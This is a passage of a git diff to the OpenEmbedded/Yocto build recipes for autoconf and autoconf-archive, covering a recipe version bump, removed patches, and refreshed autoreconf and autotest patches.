-LIC_FILES_CHKSUM = "file://COPYING;md5=11cc2d3ee574f9d6b7ee797bdce4d423 \
- file://COPYING.EXCEPTION;md5=fdef168ebff3bc2f13664c365a5fb515"
-
-SRC_URI = "${GNU_MIRROR}/${BPN}/${BPN}-${PV}.tar.xz"
-SRC_URI[md5sum] = "d46413c8b00a125b1529bae385bbec55"
-SRC_URI[sha256sum] = "17195c833098da79de5778ee90948f4c5d90ed1a0cf8391b4ab348e2ec511e3f"
-
-inherit autotools allarch texinfo
-
-PACKAGES = "${PN} ${PN}-doc"
-
-FILES_${PN} += "${datadir}/aclocal"
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/autoconf-archive/autoconf-archive_2021.02.19.bb b/meta/recipes-devtools/autoconf-archive/autoconf-archive_2021.02.19.bb
new file mode 100644
index 0000000000..2f86b50655
--- /dev/null
+++ b/meta/recipes-devtools/autoconf-archive/autoconf-archive_2021.02.19.bb
@@ -0,0 +1,17 @@
+SUMMARY = "a collection of freely re-usable Autoconf macros"
+HOMEPAGE = "http://www.gnu.org/software/autoconf-archive/"
+SECTION = "devel"
+LICENSE = "GPL-3.0-with-autoconf-exception"
+LIC_FILES_CHKSUM = "file://COPYING;md5=11cc2d3ee574f9d6b7ee797bdce4d423 \
+ file://COPYING.EXCEPTION;md5=fdef168ebff3bc2f13664c365a5fb515"
+
+SRC_URI = "${GNU_MIRROR}/${BPN}/${BPN}-${PV}.tar.xz"
+SRC_URI[sha256sum] = "e8a6eb9d28ddcba8ffef3fa211653239e9bf239aba6a01a6b7cfc7ceaec69cbd"
+
+inherit autotools allarch texinfo
+
+PACKAGES = "${PN} ${PN}-doc"
+
+FILES:${PN} += "${datadir}/aclocal"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/autoconf/autoconf.inc b/meta/recipes-devtools/autoconf/autoconf.inc
deleted file mode 100644
index 787f30a097..0000000000
--- a/meta/recipes-devtools/autoconf/autoconf.inc
+++ /dev/null
@@ -1,82 +0,0 @@
-SUMMARY = "A GNU tool that produce shell scripts to automatically configure software"
-DESCRIPTION = "Autoconf is an extensible package of M4 macros that produce shell scripts to automatically \
-configure software source code packages. Autoconf creates a configuration script for a package from a template \
-file that lists the operating system features that the package can use, in the form of M4 macro calls."
-LICENSE = "GPLv3"
-HOMEPAGE = "http://www.gnu.org/software/autoconf/"
-SECTION = "devel"
-DEPENDS = "m4-native gnu-config-native"
-
-RDEPENDS_${PN} = "m4 gnu-config \
- perl \
- perl-module-bytes \
- perl-module-carp \
- perl-module-constant \
- perl-module-data-dumper \
- perl-module-errno \
- perl-module-exporter \
- perl-module-file-basename \
- perl-module-file-compare \
- perl-module-file-copy \
- perl-module-file-find \
- perl-module-file-glob \
- perl-module-file-path \
- perl-module-file-spec \
- perl-module-file-spec-unix \
- perl-module-file-stat \
- perl-module-getopt-long \
- perl-module-io-file \
- perl-module-overloading \
- perl-module-posix \
- perl-module-symbol \
- perl-module-thread-queue \
- perl-module-threads \
- "
-RDEPENDS_${PN}_class-native = "m4-native gnu-config-native"
-RDEPENDS_${PN}_class-nativesdk = "\
- nativesdk-gnu-config \
- nativesdk-m4 \
- nativesdk-perl \
- nativesdk-perl-module-bytes \
- nativesdk-perl-module-carp \
- nativesdk-perl-module-constant \
- nativesdk-perl-module-data-dumper \
- nativesdk-perl-module-errno \
- nativesdk-perl-module-exporter \
- nativesdk-perl-module-file-basename \
- nativesdk-perl-module-file-compare \
- nativesdk-perl-module-file-copy \
- nativesdk-perl-module-file-find \
- nativesdk-perl-module-file-glob \
- nativesdk-perl-module-file-path \
- nativesdk-perl-module-file-spec \
- nativesdk-perl-module-file-spec-unix \
- nativesdk-perl-module-file-stat \
- nativesdk-perl-module-getopt-long \
- nativesdk-perl-module-io-file \
- nativesdk-perl-module-overloading \
- nativesdk-perl-module-posix \
- nativesdk-perl-module-symbol \
- nativesdk-perl-module-thread-queue \
- nativesdk-perl-module-threads \
- "
-
-inherit autotools texinfo
-
-PERL = "${USRBINPATH}/perl"
-PERL_class-native = "/usr/bin/env perl"
-PERL_class-nativesdk = "/usr/bin/env perl"
-
-CACHED_CONFIGUREVARS += "ac_cv_path_PERL='${PERL}'"
-
-do_configure() {
- # manually install a newer config.guess/.sub
- install -m 0755 ${STAGING_DATADIR_NATIVE}/gnu-config/config.guess ${S}/build-aux
- install -m 0755 ${STAGING_DATADIR_NATIVE}/gnu-config/config.sub ${S}/build-aux
-
- oe_runconf
-}
-
-do_install_append() {
- rm -rf ${D}${datadir}/emacs
-}
diff --git a/meta/recipes-devtools/autoconf/autoconf/AC_HEADER_MAJOR-port-to-glibc-2.25.patch b/meta/recipes-devtools/autoconf/autoconf/AC_HEADER_MAJOR-port-to-glibc-2.25.patch
deleted file mode 100644
index b2d7dc0e24..0000000000
--- a/meta/recipes-devtools/autoconf/autoconf/AC_HEADER_MAJOR-port-to-glibc-2.25.patch
+++ /dev/null
@@ -1,101 +0,0 @@
-From b859ab1b211d348b46eca9158b7742f050c8115e Mon Sep 17 00:00:00 2001
-From: Eric Blake <eblake@redhat.com>
-Date: Wed, 14 Sep 2016 08:17:06 -0500
-Subject: [PATCH] AC_HEADER_MAJOR: port to glibc 2.25
-
-glibc 2.25 is deprecating the namespace pollution of <sys/types.h>
-injecting major(), minor(), and makedev() into the compilation
-environment, with a warning that insists that users include
-<sys/sysmacros.h> instead. However, because the expansion of
-AC_HEADER_MAJOR didn't bother checking sys/sysmacros.h until
-after probing whether sys/types.h pollutes the namespace, it was
-not defining MAJOR_IN_SYSMACROS, with the result that code
-compiled with -Werror chokes on the deprecation warnings because
-it was not including sysmacros.h.
-
-In addition to fixing autoconf (which only benefits projects
-that rebuild configure after this fix is released), we can also
-give a hint to distros on how they can populate config.site with
-a cache variable to force pre-existing configure scripts without
-the updated macro to behave sanely in the presence of glibc 2.25
-(the documentation is especially useful since that cache variable
-is no longer present in autoconf after this patch).
-
-Note that mingw lacks major/minor/makedev in any of its standard
-headers; for that platform, the behavior of this macro is unchanged
-(code using the recommended include formula will get a compile error
-when trying to use major(), whether before or after this patch); but
-for now, it is assumed that programs actually concerned with
-creating devices are not worried about portability to mingw. If
-desired, a later patch could tighten AC_HEADER_MAJOR to fail at
-configure time if the macros are unavailable in any of the three
-system headers, but that semantic change is not worth mixing into
-this patch.
-
-* lib/autoconf/headers.m4 (AC_HEADER_MAJOR): Drop check for
-major within sys/types.h; it interferes with the need to check
-sysmacros.h first.
-
-Signed-off-by: Eric Blake <eblake@redhat.com>
-
-Remove the documentation change from the patch
-Upstream-Status: Backport
-
-Signed-off-by: Hongxu Jia <hongxu.jia@windriver.com>
----
- lib/autoconf/headers.m4 | 30 ++++++++++++++----------------
- 1 file changed, 14 insertions(+), 16 deletions(-)
-
-diff --git a/lib/autoconf/headers.m4 b/lib/autoconf/headers.m4
-index 81a7fa2..a57d0d3 100644
---- a/lib/autoconf/headers.m4
-+++ b/lib/autoconf/headers.m4
-@@ -502,31 +502,29 @@ fi
-
- # AC_HEADER_MAJOR
- # ---------------
-+# Thanks to glibc 2.25 deprecating macros in sys/types.h, coupled with
-+# back-compat to autoconf 2.69, we need the following logic:
-+# Check whether <sys/types.h> compiles.
-+# If <sys/mkdev.h> compiles, assume it provides major/minor/makedev.
-+# Otherwise, if <sys/sysmacros.h> compiles, assume it provides the macros.
-+# Otherwise, either the macros were provided by <sys/types.h>, or do
-+# not exist on the platform. Code trying to use these three macros is
-+# assumed to not care about platforms that lack the macros.
- AN_FUNCTION([major], [AC_HEADER_MAJOR])
- AN_FUNCTION([makedev], [AC_HEADER_MAJOR])
- AN_FUNCTION([minor], [AC_HEADER_MAJOR])
- AN_HEADER([sys/mkdev.h], [AC_HEADER_MAJOR])
- AC_DEFUN([AC_HEADER_MAJOR],
--[AC_CACHE_CHECK(whether sys/types.h defines makedev,
-- ac_cv_header_sys_types_h_makedev,
--[AC_LINK_IFELSE([AC_LANG_PROGRAM([[@%:@include <sys/types.h>]],
-- [[return makedev(0, 0);]])],
-- [ac_cv_header_sys_types_h_makedev=yes],
-- [ac_cv_header_sys_types_h_makedev=no])
--])
--
--if test $ac_cv_header_sys_types_h_makedev = no; then
-+[AC_CHECK_HEADERS_ONCE([sys/types.h])
- AC_CHECK_HEADER(sys/mkdev.h,
- [AC_DEFINE(MAJOR_IN_MKDEV, 1,
- [Define to 1 if `major', `minor', and `makedev' are
- declared in <mkdev.h>.])])
--
-- if test $ac_cv_header_sys_mkdev_h = no; then
-- AC_CHECK_HEADER(sys/sysmacros.h,
-- [AC_DEFINE(MAJOR_IN_SYSMACROS, 1,
-- [Define to 1 if `major', `minor', and `makedev'
-- are declared in <sysmacros.h>.])])
-- fi
-+if test $ac_cv_header_sys_mkdev_h = no; then
-+ AC_CHECK_HEADER(sys/sysmacros.h,
-+ [AC_DEFINE(MAJOR_IN_SYSMACROS, 1,
-+ [Define to 1 if `major', `minor', and `makedev'
-+ are declared in <sysmacros.h>.])])
- fi
- ])# AC_HEADER_MAJOR
-
---
-2.7.4
-
diff --git a/meta/recipes-devtools/autoconf/autoconf/add_musl_config.patch b/meta/recipes-devtools/autoconf/autoconf/add_musl_config.patch
deleted file mode 100644
index a9094d2128..0000000000
--- a/meta/recipes-devtools/autoconf/autoconf/add_musl_config.patch
+++ /dev/null
@@ -1,26 +0,0 @@
-backport http://git.savannah.gnu.org/cgit/config.git/commit/config.sub?id=062587eaa891396c936555ae51f7e77eeb71a5fe
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
-Upstream-Status: Backport
-Index: autoconf-2.69/build-aux/config.sub
-===================================================================
---- autoconf-2.69.orig/build-aux/config.sub
-+++ autoconf-2.69/build-aux/config.sub
-@@ -123,7 +123,7 @@ esac
- maybe_os=`echo $1 | sed 's/^\(.*\)-\([^-]*-[^-]*\)$/\2/'`
- case $maybe_os in
- nto-qnx* | linux-gnu* | linux-android* | linux-dietlibc | linux-newlib* | \
-- linux-uclibc* | uclinux-uclibc* | uclinux-gnu* | kfreebsd*-gnu* | \
-+ linux-musl* | linux-uclibc* | uclinux-uclibc* | uclinux-gnu* | kfreebsd*-gnu* | \
- knetbsd*-gnu* | netbsd*-gnu* | \
- kopensolaris*-gnu* | \
- storm-chaos* | os2-emx* | rtmk-nova*)
-@@ -1360,7 +1360,7 @@ case $os in
- | -chorusos* | -chorusrdb* | -cegcc* \
- | -cygwin* | -msys* | -pe* | -psos* | -moss* | -proelf* | -rtems* \
- | -mingw32* | -linux-gnu* | -linux-android* \
-- | -linux-newlib* | -linux-uclibc* \
-+ | -linux-newlib* | -linux-musl* | -linux-uclibc* \
- | -uxpv* | -beos* | -mpeix* | -udk* \
- | -interix* | -uwin* | -mks* | -rhapsody* | -darwin* | -opened* \
- | -openstep* | -oskit* | -conix* | -pw32* | -nonstopux* \
diff --git a/meta/recipes-devtools/autoconf/autoconf/autoconf-replace-w-option-in-shebangs-with-modern-use-warnings.patch b/meta/recipes-devtools/autoconf/autoconf/autoconf-replace-w-option-in-shebangs-with-modern-use-warnings.patch
deleted file mode 100644
index ae0e3825f6..0000000000
--- a/meta/recipes-devtools/autoconf/autoconf/autoconf-replace-w-option-in-shebangs-with-modern-use-warnings.patch
+++ /dev/null
@@ -1,120 +0,0 @@
-From 236552ff5b9f1ebf666d8d0e9850007dcce03d26 Mon Sep 17 00:00:00 2001
-From: Serhii Popovych <spopovyc@cisco.com>
-Date: Wed, 10 Feb 2016 16:32:44 +0000
-Subject: [PATCH] perl: Replace -w option in shebangs with modern "use
- warnings"
-
-In some builds we might provide ac_cv_path_PERL as /usr/bin/env perl
-to use newer version of the perl from users PATH rather than
-older from standard system path.
-
-However using /usr/bin/env perl -w from shebang line isn't
-possible because it translates to something like
-/usr/bin/env -w perl and env complains about illegal option.
-
-To address this we can remove -w option from perl shebang
-line and add "use warnings" statement.
-
-Upstream-Status: Pending
-Signed-off-by: Serhii Popovych <spopovyc@cisco.com>
----
- bin/autom4te.in | 3 ++-
- bin/autoreconf.in | 3 ++-
- bin/autoscan.in | 3 ++-
- bin/autoupdate.in | 3 ++-
- bin/ifnames.in | 3 ++-
- 5 files changed, 10 insertions(+), 5 deletions(-)
-
-diff --git a/bin/autom4te.in b/bin/autom4te.in
-index 11773c9..a8f5e41 100644
---- a/bin/autom4te.in
-+++ b/bin/autom4te.in
-@@ -1,4 +1,4 @@
--#! @PERL@ -w
-+#! @PERL@
- # -*- perl -*-
- # @configure_input@
-
-@@ -42,6 +42,7 @@ use Autom4te::General;
- use Autom4te::XFile;
- use File::Basename;
- use strict;
-+use warnings;
-
- # Data directory.
- my $pkgdatadir = $ENV{'AC_MACRODIR'} || '@pkgdatadir@';
-diff --git a/bin/autoreconf.in b/bin/autoreconf.in
-index e245db4..1a318cb 100644
---- a/bin/autoreconf.in
-+++ b/bin/autoreconf.in
-@@ -1,4 +1,4 @@
--#! @PERL@ -w
-+#! @PERL@
- # -*- perl -*-
- # @configure_input@
-
-@@ -45,6 +45,7 @@ use Autom4te::XFile;
- # Do not use Cwd::chdir, since it might hang.
- use Cwd 'cwd';
- use strict;
-+use warnings;
-
- ## ----------- ##
- ## Variables. ##
-diff --git a/bin/autoscan.in b/bin/autoscan.in
-index a67c48d..b931249 100644
---- a/bin/autoscan.in
-+++ b/bin/autoscan.in
-@@ -1,4 +1,4 @@
--#! @PERL@ -w
-+#! @PERL@
- # -*- perl -*-
- # @configure_input@
-
-@@ -43,6 +43,7 @@ use Autom4te::XFile;
- use File::Basename;
- use File::Find;
- use strict;
-+use warnings;
-
- use vars qw(@cfiles @makefiles @shfiles @subdirs %printed);
-
-diff --git a/bin/autoupdate.in b/bin/autoupdate.in
-index 9737d49..92cb147 100644
---- a/bin/autoupdate.in
-+++ b/bin/autoupdate.in
-@@ -1,4 +1,4 @@
--#! @PERL@ -w
-+#! @PERL@
- # -*- perl -*-
- # @configure_input@
-
-@@ -44,6 +44,7 @@ use Autom4te::General;
- use Autom4te::XFile;
- use File::Basename;
- use strict;
-+use warnings;
-
- # Lib files.
- my $autom4te = $ENV{'AUTOM4TE'} || '@bindir@/@autom4te-name@';
-diff --git a/bin/ifnames.in b/bin/ifnames.in
-index ba2cd05..74b0278 100644
---- a/bin/ifnames.in
-+++ b/bin/ifnames.in
-@@ -1,4 +1,4 @@
--#! @PERL@ -w
-+#! @PERL@
- # -*- perl -*-
- # @configure_input@
-
-@@ -44,6 +44,7 @@ BEGIN
- use Autom4te::General;
- use Autom4te::XFile;
- use Autom4te::FileUtils;
-+use warnings;
-
- # $HELP
- # -----
---
-2.3.0
-
diff --git a/meta/recipes-devtools/autoconf/autoconf/autoreconf-exclude.patch b/meta/recipes-devtools/autoconf/autoconf/autoreconf-exclude.patch
index d1bd3a2a31..c73aca41ee 100644
--- a/meta/recipes-devtools/autoconf/autoconf/autoreconf-exclude.patch
+++ b/meta/recipes-devtools/autoconf/autoconf/autoreconf-exclude.patch
@@ -1,18 +1,26 @@
-Upstream-Status: Pending
+From 0071d28e304745a16871561f23117fdb00dd2559 Mon Sep 17 00:00:00 2001
+From: Ross Burton <ross.burton@intel.com>
+Date: Thu, 12 Mar 2020 17:25:23 +0000
+Subject: [PATCH 4/7] autoreconf-exclude.patch
-Index: autoconf-2.63/bin/autoreconf.in
-===================================================================
---- autoconf-2.63.orig/bin/autoreconf.in 2008-12-31 17:39:01.000000000 +0000
-+++ autoconf-2.63/bin/autoreconf.in 2008-12-31 17:43:38.000000000 +0000
-@@ -76,6 +76,7 @@
- -i, --install copy missing auxiliary files
+Upstream-Status: Inappropriate [oe specific]
+---
+ bin/autoreconf.in | 26 ++++++++++++++++++++++++++
+ 1 file changed, 26 insertions(+)
+
+diff --git a/bin/autoreconf.in b/bin/autoreconf.in
+index bb9f316d..7da3005b 100644
+--- a/bin/autoreconf.in
++++ b/bin/autoreconf.in
+@@ -82,6 +82,7 @@ Operation modes:
+ -i, --install copy missing standard auxiliary files
--no-recursive don't rebuild sub-packages
-s, --symlink with -i, install symbolic links instead of copies
+ -x, --exclude=STEPS steps we should not run
-m, --make when applicable, re-run ./configure && make
-W, --warnings=CATEGORY report the warnings falling in CATEGORY [syntax]
-@@ -136,6 +137,13 @@
+@@ -141,6 +142,10 @@ my $run_make = 0;
# Recurse into subpackages
my $recursive = 1;
@@ -20,13 +28,10 @@ Index: autoconf-2.63/bin/autoreconf.in
+my @exclude;
+my @ex;
+
-+my $uses_gettext;
-+my $configure_ac;
-+
## ---------- ##
## Routines. ##
## ---------- ##
-@@ -153,6 +161,7 @@
+@@ -161,6 +166,7 @@ sub parse_args ()
'B|prepend-include=s' => \@prepend_include,
'i|install' => \$install,
's|symlink' => \$symlink,
@@ -34,106 +39,85 @@ Index: autoconf-2.63/bin/autoreconf.in
'm|make' => \$run_make,
'recursive!' => \$recursive);
-@@ -162,6 +171,8 @@
+@@ -170,6 +176,8 @@ sub parse_args ()
parse_WARNINGS;
- parse_warnings '--warnings', @warning;
+ parse_warnings @warning;
+ @exclude = map { split /,/ } @exclude;
+
# Even if the user specified a configure.ac, trim to get the
# directory, and look for configure.ac again. Because (i) the code
# is simpler, and (ii) we are still able to diagnose simultaneous
-@@ -255,6 +266,11 @@
- {
- my ($aclocal, $flags) = @_;
-
-+ @ex = grep (/^aclocal$/, @exclude);
-+ if ($#ex != -1) {
-+ return;
-+ }
-+
- # aclocal 1.8+ does all this for free. It can be recognized by its
- # --force support.
- if ($aclocal_supports_force)
-@@ -368,7 +384,10 @@
+@@ -493,8 +501,11 @@ sub autoreconf_current_directory ($)
}
else
{
-- xsystem_hint ("autopoint is needed because this package uses Gettext", "$autopoint");
+ @ex = grep (/^autopoint$/, @exclude);
+ if ($#ex == -1) {
-+ xsystem_hint ("autopoint is needed because this package uses Gettext", "$autopoint");
+ xsystem_hint ("autopoint is needed because this package uses Gettext",
+ $autopoint);
+ }
}
-@@ -532,16 +551,17 @@
+@@ -687,9 +698,12 @@ sub autoreconf_current_directory ($)
{
$libtoolize .= " --ltdl";
}
-- xsystem_hint ("libtoolize is needed because this package uses Libtool", $libtoolize);
-- $rerun_aclocal = 1;
+ @ex = grep (/^libtoolize$/, @exclude);
+ if ($#ex == -1) {
-+ xsystem_hint ("libtoolize is needed because this package uses Libtool", $libtoolize);
-+ $rerun_aclocal = 1;
+ xsystem_hint ("libtoolize is needed because this package uses Libtool",
+ $libtoolize);
+ $rerun_aclocal = 1;
+ }
}
else
{
- verb "$configure_ac: not running libtoolize: --install not given";
+@@ -726,8 +740,11 @@ sub autoreconf_current_directory ($)
}
-
--
--
- # ------------------- #
- # Rerunning aclocal. #
- # ------------------- #
-@@ -572,7 +592,10 @@
+ elsif ($install)
+ {
++ @ex = grep (/^gtkdocize$/, @exclude);
++ if ($#ex == -1) {
+ xsystem_hint ("gtkdocize is needed because this package uses Gtkdoc",
+ $gtkdocize);
++ }
+ }
+ else
+ {
+@@ -765,7 +782,10 @@ sub autoreconf_current_directory ($)
# latter runs the former, and (ii) autoconf is stricter than
# autoheader. So all in all, autoconf should give better error
# messages.
-- xsystem ($autoconf);
+ @ex = grep (/^autoconf$/, @exclude);
+ if ($#ex == -1) {
-+ xsystem ("$autoconf");
+ xsystem ($autoconf);
+ }
# -------------------- #
-@@ -593,7 +616,10 @@
+@@ -786,7 +806,10 @@ sub autoreconf_current_directory ($)
}
else
{
-- xsystem ($autoheader);
+ @ex = grep (/^autoheader$/, @exclude);
+ if ($#ex == -1) {
-+ xsystem ("$autoheader");
+ xsystem ($autoheader);
+ }
}
-@@ -610,7 +636,10 @@
+@@ -803,7 +826,10 @@ sub autoreconf_current_directory ($)
# We should always run automake, and let it decide whether it shall
- # update the file or not. In fact, the effect of `$force' is already
- # included in `$automake' via `--no-force'.
-- xsystem ($automake);
+ # update the file or not. In fact, the effect of '$force' is already
+ # included in '$automake' via '--no-force'.
+ @ex = grep (/^automake$/, @exclude);
+ if ($#ex == -1) {
-+ xsystem ("$automake");
+ xsystem ($automake);
+ }
}
-
-@@ -634,7 +663,10 @@
- }
- else
- {
-- xsystem ("$make");
-+ @ex = grep (/^make$/, @exclude);
-+ if ($#ex == -1) {
-+ xsystem ("$make");
-+ }
- }
- }
- }
+ # ---------------------------------------------------- #
+--
+2.25.1
+
diff --git a/meta/recipes-devtools/autoconf/autoconf/autoreconf-gnuconfigize.patch b/meta/recipes-devtools/autoconf/autoconf/autoreconf-gnuconfigize.patch
deleted file mode 100644
index 5ff18c2350..0000000000
--- a/meta/recipes-devtools/autoconf/autoconf/autoreconf-gnuconfigize.patch
+++ /dev/null
@@ -1,38 +0,0 @@
-Upstream-Status: Pending
-
-#
-# Patch managed by http://www.mn-logistik.de/unsupported/pxa250/patcher
-#
-
-Index: autoconf-2.63/bin/autoreconf.in
-===================================================================
---- autoconf-2.63.orig/bin/autoreconf.in 2008-12-31 17:43:55.000000000 +0000
-+++ autoconf-2.63/bin/autoreconf.in 2008-12-31 17:46:16.000000000 +0000
-@@ -58,7 +58,7 @@
- $help = "Usage: $0 [OPTION]... [DIRECTORY]...
-
- Run `autoconf' (and `autoheader', `aclocal', `automake', `autopoint'
--(formerly `gettextize'), and `libtoolize' where appropriate)
-+(formerly `gettextize'), `libtoolize', and `gnu-configize' where appropriate)
- repeatedly to remake the GNU Build System files in specified
- DIRECTORIES and their subdirectories (defaulting to `.').
-
-@@ -115,6 +115,7 @@
- my $libtoolize = $ENV{'LIBTOOLIZE'} || 'libtoolize';
- my $autopoint = $ENV{'AUTOPOINT'} || 'autopoint';
- my $make = $ENV{'MAKE'} || 'make';
-+my $gnuconfigize = $ENV{'GNUCONFIGIZE'} || 'gnu-configize';
-
- # --install -- as --add-missing in other tools.
- my $install = 0;
-@@ -644,6 +645,10 @@
- }
- }
-
-+ @ex = grep (/^gnu-configize$/, @exclude);
-+ if ($#ex == -1) {
-+ xsystem ("$gnuconfigize");
-+ }
-
- # -------------- #
- # Running make. #
diff --git a/meta/recipes-devtools/autoconf/autoconf/autotest-automake-result-format.patch b/meta/recipes-devtools/autoconf/autoconf/autotest-automake-result-format.patch
index b5e8174efd..23329f7927 100644
--- a/meta/recipes-devtools/autoconf/autoconf/autotest-automake-result-format.patch
+++ b/meta/recipes-devtools/autoconf/autoconf/autotest-automake-result-format.patch
@@ -1,22 +1,15 @@
-From a7e722f974e2529d3e564d8d94c86cc8bdbc40e7 Mon Sep 17 00:00:00 2001
-From: Radu Patriu <radu.patriu@enea.com>
-Date: Mon, 24 Mar 2014 16:33:19 +0200
-Subject: [PATCH] autotest: new testsuite option to enable automake test
- result format
+From 8c0f24404bebffdaf3132d81e2b9560d34ff1677 Mon Sep 17 00:00:00 2001
+From: Ross Burton <ross.burton@intel.com>
+Date: Thu, 12 Mar 2020 17:25:45 +0000
+Subject: [PATCH 6/7] autotest-automake-result-format.patch
-* lib/autotest/general.m4: added "--am-fmt | -A" command line
-parameter for testsuite script to enable "RESULT: testname" output;
-will be used by yocto ptest packages.
-
-Upstream-Status: Pending
-
-Signed-off-by: Radu Patriu <radu.patriu@enea.com>
+Upstream-Status: Inappropriate [oe specific]
---
- lib/autotest/general.m4 | 39 +++++++++++++++++++++++++++++----------
+ lib/autotest/general.m4 | 39 +++++++++++++++++++++++++++++----------
1 file changed, 29 insertions(+), 10 deletions(-)
diff --git a/lib/autotest/general.m4 b/lib/autotest/general.m4
-index 60c0352..c1f5a9b 100644
+index 0c0e3c5b..17590e96 100644
--- a/lib/autotest/general.m4
+++ b/lib/autotest/general.m4
@@ -412,6 +412,9 @@ at_recheck=
@@ -29,7 +22,7 @@ index 60c0352..c1f5a9b 100644
# The directory we run the suite in. Default to . if no -C option.
at_dir=`pwd`
# An absolute reference to this testsuite script.
-@@ -530,6 +533,10 @@ do
+@@ -525,6 +528,10 @@ do
at_check_filter_trace=at_fn_filter_trace
;;
@@ -40,7 +33,7 @@ index 60c0352..c1f5a9b 100644
[[0-9] | [0-9][0-9] | [0-9][0-9][0-9] | [0-9][0-9][0-9][0-9]])
at_fn_validate_ranges at_option
AS_VAR_APPEND([at_groups], ["$at_option$as_nl"])
-@@ -718,10 +725,10 @@ m4_divert_push([HELP_MODES])dnl
+@@ -713,10 +720,10 @@ m4_divert_push([HELP_MODES])dnl
cat <<_ATEOF || at_write_fail=1
Operation modes:
@@ -55,7 +48,7 @@ index 60c0352..c1f5a9b 100644
_ATEOF
m4_divert_pop([HELP_MODES])dnl
m4_wrap([m4_divert_push([HELP_TUNING_BEGIN])dnl
-@@ -747,6 +754,7 @@ Execution tuning:
+@@ -742,6 +749,7 @@ Execution tuning:
-d, --debug inhibit clean up and top-level logging
[ default for debugging scripts]
-x, --trace enable tests shell tracing
@@ -63,7 +56,7 @@ index 60c0352..c1f5a9b 100644
_ATEOF
m4_divert_pop([HELP_TUNING_BEGIN])])dnl
m4_divert_push([HELP_END])dnl
-@@ -1162,7 +1170,9 @@ at_fn_group_banner ()
+@@ -1129,7 +1137,9 @@ at_fn_group_banner ()
[*]) at_desc_line="$[1]: " ;;
esac
AS_VAR_APPEND([at_desc_line], ["$[3]$[4]"])
@@ -74,7 +67,7 @@ index 60c0352..c1f5a9b 100644
echo "# -*- compilation -*-" >> "$at_group_log"
}
-@@ -1188,42 +1198,51 @@ _ATEOF
+@@ -1155,42 +1165,51 @@ _ATEOF
case $at_xfail:$at_status in
yes:0)
at_msg="UNEXPECTED PASS"
@@ -132,5 +125,5 @@ index 60c0352..c1f5a9b 100644
at_log_msg="$at_group. $at_desc ($at_setup_line): $at_msg"
case $at_status in
--
-1.7.9.5
+2.25.1
diff --git a/meta/recipes-devtools/autoconf/autoconf/check-automake-cross-warning.patch b/meta/recipes-devtools/autoconf/autoconf/check-automake-cross-warning.patch
deleted file mode 100644
index 73394d7d52..0000000000
--- a/meta/recipes-devtools/autoconf/autoconf/check-automake-cross-warning.patch
+++ /dev/null
@@ -1,34 +0,0 @@
-Use --warning=cross only if supported by automake
-
-Upstream-Status: Inappropriate [configuration]
-
-Signed-off-by: Constantin Musca <constantinx.musca@intel.com>
-
---- a/bin/autoreconf.in
-+++ b/bin/autoreconf.in
-@@ -127,6 +127,8 @@ my $aclocal_supports_warnings = 0;
- my $automake_supports_force_missing = 0;
- # Does automake support -Wfoo?
- my $automake_supports_warnings = 0;
-+# Does automake support --warning=cross
-+my $automake_supports_cross_warning = 0;
-
- my @prepend_include;
- my @include;
-@@ -191,6 +193,7 @@ sub parse_args ()
- $aclocal_supports_warnings = $aclocal_help =~ /--warnings/;
- $automake_supports_force_missing = $automake_help =~ /--force-missing/;
- $automake_supports_warnings = $automake_help =~ /--warnings/;
-+ $automake_supports_cross_warning = $automake_help =~ /cross/;
-
- # Dispatch autoreconf's option to the tools.
- # --include;
-@@ -244,6 +247,8 @@ sub parse_args ()
- $libtoolize .= ' --debug';
- }
- # --warnings;
-+ @warning = grep { $_ ne "cross" } @warning
-+ if ! $automake_supports_cross_warning;
- if (@warning)
- {
- my $warn = ' --warnings=' . join (',', @warning);
diff --git a/meta/recipes-devtools/autoconf/autoconf/config_site.patch b/meta/recipes-devtools/autoconf/autoconf/config_site.patch
deleted file mode 100644
index 9f044404dd..0000000000
--- a/meta/recipes-devtools/autoconf/autoconf/config_site.patch
+++ /dev/null
@@ -1,40 +0,0 @@
-Upstream-Status: Pending
-
-Poky provides a list of site files in CONFIG_SITE whereas autoconf
-only expects one file. This patch changes autoconf to accept a list of
-them.
-
-RP 1/2/10
-
-Updated for 2.68 version: the CONFIG_SITE var was not getting used at all
-fixed the 2.68 code
-Nitin A Kamble <nitin.a.kamble@intel.com> 2011/05/27
-
-Index: autoconf-2.68/lib/autoconf/general.m4
-===================================================================
---- autoconf-2.68.orig/lib/autoconf/general.m4
-+++ autoconf-2.68/lib/autoconf/general.m4
-@@ -1878,7 +1878,6 @@ AU_DEFUN([AC_VALIDATE_CACHED_SYSTEM_TUPL
- m4_define([AC_SITE_LOAD],
- [# Prefer an explicitly selected file to automatically selected ones.
- ac_site_file1=NONE
--ac_site_file2=NONE
- if test -n "$CONFIG_SITE"; then
- # We do not want a PATH search for config.site.
- case $CONFIG_SITE in @%:@((
-@@ -1886,14 +1885,8 @@ if test -n "$CONFIG_SITE"; then
- */*) ac_site_file1=$CONFIG_SITE;;
- *) ac_site_file1=./$CONFIG_SITE;;
- esac
--elif test "x$prefix" != xNONE; then
-- ac_site_file1=$prefix/share/config.site
-- ac_site_file2=$prefix/etc/config.site
--else
-- ac_site_file1=$ac_default_prefix/share/config.site
-- ac_site_file2=$ac_default_prefix/etc/config.site
- fi
--for ac_site_file in "$ac_site_file1" "$ac_site_file2"
-+for ac_site_file in $ac_site_file1
- do
- test "x$ac_site_file" = xNONE && continue
- if test /dev/null != "$ac_site_file" && test -r "$ac_site_file"; then
diff --git a/meta/recipes-devtools/autoconf/autoconf/fix_path_xtra.patch b/meta/recipes-devtools/autoconf/autoconf/fix_path_xtra.patch
deleted file mode 100644
index 65df88f8f9..0000000000
--- a/meta/recipes-devtools/autoconf/autoconf/fix_path_xtra.patch
+++ /dev/null
@@ -1,120 +0,0 @@
-Upstream-Status: Pending
-
-We don't build xmkmf so any values returned from it are going to be wrong.
-Using any paths in /usr/ for x headers/libs is a bad idea when cross compiling.
-This patch removes them to stop any confusion.
-
-RP - 20071115
-
-Index: autoconf-2.68/lib/autoconf/libs.m4
-===================================================================
---- autoconf-2.68.orig/lib/autoconf/libs.m4
-+++ autoconf-2.68/lib/autoconf/libs.m4
-@@ -159,53 +159,6 @@ m4_popdef([AC_Lib_Name])dnl
- # --------------------- #
-
-
--# _AC_PATH_X_XMKMF
--# ----------------
--# Internal subroutine of _AC_PATH_X.
--# Set ac_x_includes and/or ac_x_libraries.
--m4_define([_AC_PATH_X_XMKMF],
